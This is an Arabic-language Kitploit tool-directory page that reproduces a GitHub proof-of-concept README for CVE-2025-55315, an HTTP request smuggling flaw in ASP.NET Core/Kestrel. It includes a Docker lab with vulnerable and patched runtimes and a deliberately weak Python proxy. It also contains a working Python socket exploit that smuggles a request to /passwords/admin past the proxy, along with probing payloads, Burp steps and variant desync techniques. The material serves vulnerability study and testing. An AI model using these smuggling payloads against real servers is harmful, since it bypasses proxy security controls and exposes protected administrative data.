Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55315 — استغلال إثبات المفهوم لثغرة CVE-2025-55315 (تهريب طلبات HTTP في .NET). يوضح كيف يتيح التحليل غير الصحيح لترميز chunked للمهاجمين تهريب الطلبات متجاوزين الوكلاء (proxies) وموازنات التحميل في خوادم ASP.NET Core/Kestrel الضعيفة. | Kitploit
أدوات/GitHubGitHub/martinfabianionut/cve-2025-55315
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

استغلال إثبات المفهوم لثغرة CVE-2025-55315 (تهريب طلبات HTTP في .NET). يوضح كيف يتيح التحليل غير الصحيح لترميز chunked للمهاجمين تهريب الطلبات متجاوزين الوكلاء (proxies) وموازنات التحميل في خوادم ASP.NET Core/Kestrel الضعيفة.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ 8 أشهرلم تتم المراجعة بعد

CVE-2025-55315

إثبات مفهوم لاستغلال CVE-2025-55315 (تهريب طلبات HTTP في .NET). يوضح كيف تسمح معالجة الترميز المُجزّأ (chunked encoding) بشكل غير صحيح للمهاجمين بتهريب الطلبات عبر الوكلاء (proxies) وموازنات التحميل في خوادم ASP.NET Core/Kestrel الضعيفة.

📊 العرض التقديمي

عرض Prezi التفاعلي

Prezi Presentation

🎥 انقر على الشارة أعلاه لعرض العرض التقديمي التفاعلي الكامل على Prezi

هيكل المشروع

  • Api - واجهة برمجة تطبيقات ASP.NET Core موحّدة مع ملفي Docker:
    • Dockerfile.vulnerable - تستخدم .NET 10.0.100-rc.1 (عرضة لـ CVE-2025-55315)
    • Dockerfile.patched - تستخدم .NET 10.0.100 (الإصدار المحدّث)
  • PythonProxy - وكيل ضعيف يُستخدم لتوضيح استغلال CVE-2025-55315 (يفضل Content-Length على Transfer-Encoding)
  • YarpProxy - وكيل عكسي YARP لاختبار موازنة التحميل (ليس جزءًا من الاستغلال)

ملاحظة: الثغرة تكمن في محلل HTTP الخاص ببيئة تشغيل .NET (Kestrel)، وليس في كود التطبيق. يستخدم كلا الإصدارين نفس الكود المصدري ولكن بإصدارات مختلفة من بيئة تشغيل .NET.

بدء سريع

root@kitploit:~
# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

انظر DOCKER.md للحصول على تعليمات مفصلة لاستخدام Docker.

توضيح الاستغلال

يُظهر الوكيل المكتوب بلغة Python ثغرة CVE-2025-55315 من خلال تفضيل Content-Length على Transfer-Encoding، مما يتيح تهريب طلبات HTTP:

root@kitploit:~
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

يُهرّب هذا الحمول طلبًا ثانيًا إلى /passwords/admin متجاوزًا فحص الأمان في الوكيل، مستغلًا الاختلاف في كيفية تحليل الوكيل والخادم الخلفي للطلب.

التفسير البصري للطلب

إليك كيفية تفسير الوكيل والخادم الخلفي لنفس الحمول بشكل مختلف:

الاختلافات الرئيسية:

شرح مفصل:

  • الوكيل: يقبل 2;\n كتصريح حجم قطعة صالح (2 بايت) → يقرأ xx كجسم القطعة المكون من 2 بايت → ينتقل إلى القطعة التالية (39)
  • الخادم الخلفي: يرفض \n كنهاية سطر → يظل حجم القطعة 2 لكن الترويسة تمتد عبر 2;\nxx\r\n → يقرأ 39 كجزء من جسم القطعة → 0\r\n ينهي القطعة
  • النتيجة: طلب GET /passwords/admin المُهرَّب مخفي فيما يعامله الخادم الخلفي كبيانات قطعة، لكنه يُحلَّل كطلب منفصل بعد اكتمال معالجة القطع

طلب GET /passwords/admin المُهرَّب مخفي فيما يعتقده الوكيل كبيانات جسم القطعة، لكن الخادم الخلفي يحلّله كطلب HTTP منفصل.

تحديد الثغرة

قبل الاستغلال، تحتاج إلى تحديد أي ترويسة HTTP (Content-Length أو Transfer-Encoding) تفضلها المكونات المختلفة. إليك دليل خطوة بخطوة:

الخطوة 1: اختبار أولوية الترويسة

أرسل طلبًا يحمل كلتا الترويستين Content-Length وTransfer-Encoding: chunked لمعرفة أي منهما يحترمه كل مكوّن:

root@kitploit:~
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

التحليل:

  • إذا عالج الخادم "Fa" (2 بايت) → فهو يفضل Content-Length
  • إذا عالج الخادم "Fabian" (جسم مُجزّأ كامل) → فهو يفضل Transfer-Encoding

الخطوة 2: اختبار كل مكوّن

اختبر جميع المكونات في بنيتك للعثور على الاختلافات:

اختبار واجهة API غير الآمنة (المنفذ 5001)

root@kitploit:~
# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

اختبار واجهة API الآمنة (المنفذ 5002)

root@kitploit:~
# Change port to 5002 and test
# Safe API should handle the conflict properly

اختبار وكيل Python (المنفذ 5027)

root@kitploit:~
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)

اختبار وكيل YARP (المنفذ 5028)

root@kitploit:~
# Change port to 5028
# Test how YARP handles the header conflict

الخطوة 3: استخدام Burp Suite للاختبار اليدوي

  1. اعتراض الطلب: التقط طلب POST عاديًا إلى /passwords
  2. تعديل الترويسات: أضف الترويستين يدويًا:
root@kitploit:~
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
  1. تعيين الجسم: استخدم صيغة الترميز المُجزّأ:
root@kitploit:~
6\r\n
Fabian\r\n
0\r\n
\r\n   
  1. مقارنة الاستجابات: أرسل إلى نقاط نهاية مختلفة وحلل أي جزء من الجسم يعالجه كل مكوّن
  2. تحديد الاختلاف: إذا قرأ الوكيل 2 بايت لكن الخادم الخلفي قرأ القطعة كاملة، فأنت أمام ثغرة عدم مزامنة (desync)

الخطوة 4: صياغة الاستغلال

بمجرد تحديد:

  • الوكيل: يفضل Content-Length (يقرأ N بايت فقط)
  • الخادم الخلفي: يفضل Transfer-Encoding (يقرأ الجسم المُجزّأ)

يمكنك تهريب طلب ثانٍ لا يراه الوكيل أبدًا لكن الخادم الخلفي يعالجه.

الخطوة 5: التحقق من الاستغلال

شغّل حمول الاستغلال الكامل (انظر قسم "توضيح الاستغلال" أعلاه) وتأكد من:

  • الاستجابة الأولى: نتيجة POST عادية
  • الاستجابة الثانية: بيانات نقطة نهاية المشرف (نجح الطلب المُهرَّب)

الأدوات الموصى بها

  • Burp Suite: صياغة الطلبات يدويًا والتلاعب بالترويسات
  • socket في Python: تحكم منخفض المستوى لتنسيق HTTP دقيق
  • curl مع --data-binary: اختبار سريع عبر سطر الأوامر
  • Wireshark: تحليل على مستوى الحزم لمعرفة ما يستقبله كل مكوّن بالضبط

صيغ بديلة للاستغلال

يمكن صياغة الاستغلال بطرق متعددة. جرّب أساليب مختلفة:

مع Content-Length صريح

root@kitploit:~
# Add Content-Length to make the desync explicit
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Content-Length: 75\r\n"
    "Transfer-Encoding: chunked\r\n"
    # ... rest of payload
)

لماذا ينجح بدون Content-Length

  • الوكيل: يقبل \n كنهاية سطر صالحة → يعامل 2;\n كحجم قطعة → يقرأ 2 بايت (xx)
  • الخادم الخلفي: يرفض \n → تمتد ترويسة القطعة عبر 2;\nxx\r\n → يصبح 39 جسم القطعة → 0\r\n ينهي القطعة
  • النتيجة: الطلب المُهرَّب مخفي في جسم القطعة، ويُحلَّل كطلب منفصل بواسطة الخادم الخلفي

أفكار للتجربة

جرّب سيناريوهات عدم مزامنة مختلفة بتعديل PythonProxy/proxy_server.py:

  • CL.TE: يستخدم الوكيل Content-Length، والخادم الخلفي يستخدم Transfer-Encoding
  • TE.CL: يستخدم الوكيل Transfer-Encoding، والخادم الخلفي يستخدم Content-Length (جرّب صياغة واجهات Apis الخاصة بك)
  • TE.TE: يستخدم كلاهما Transfer-Encoding لكن التحليل يختلف (مثل \n مقابل \r\n)

جرّب:

  • أحجام وصيغ مختلفة للقطع
  • طلبات مُهرَّبة متعددة بالتسلسل
  • طرق HTTP متنوعة (GET, POST, PUT, DELETE) - يمكنك إضافتها في Apis
  • المسافات والأحرف الخاصة
تنزيل الأداة

تفسير الوكيل (يقبل \n كنهاية سطر صالحة):

root@kitploit:~
flowchart TD
    subgraph Proxy_Request_1 ["🔴 Request 1 - Proxy View"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>chunk header (accepts \n)</i>"]
        PCB1["<b>xx</b><br/><i>chunk body - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>chunk header</i>"]
        PCB2["<i>chunk body - 57 bytes</i><br/>(contains smuggled request)"]
        PLK["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignored by Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy thinks this is part of chunk body)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

تفسير الخادم الخلفي (يرفض \n ويتطلب \r\n):

root@kitploit:~
flowchart TD
    subgraph Backend_Request_1 ["🟢 Request 1 - Backend View"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (invalid - part of headers)<br/><b>xx</b> (headers end here)"]
        BCB1["<b>39</b><br/><i>chunk body</i>"]
        BLK1["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Request 2 - Backend View"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>last chunk</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px
المكوّنحجم القطعة 2;\nالبايتات المقروءةماذا يحدث
الوكيل✅ حجم قطعة صالح2 بايت (xx)يعامل 2;\n كترويسة قطعة كاملة، يقرأ 2 بايت، ثم ينتقل إلى القطعة التالية
الخادم الخلفي❌ نهاية سطر غير صالحةلا يزال يقرأ كقطعة بحجم 2 بايتلا تنتهي ترويسة القطعة حتى xx\r\n، لذا يصبح 39 جسم القطعة وينهي 0 القطعة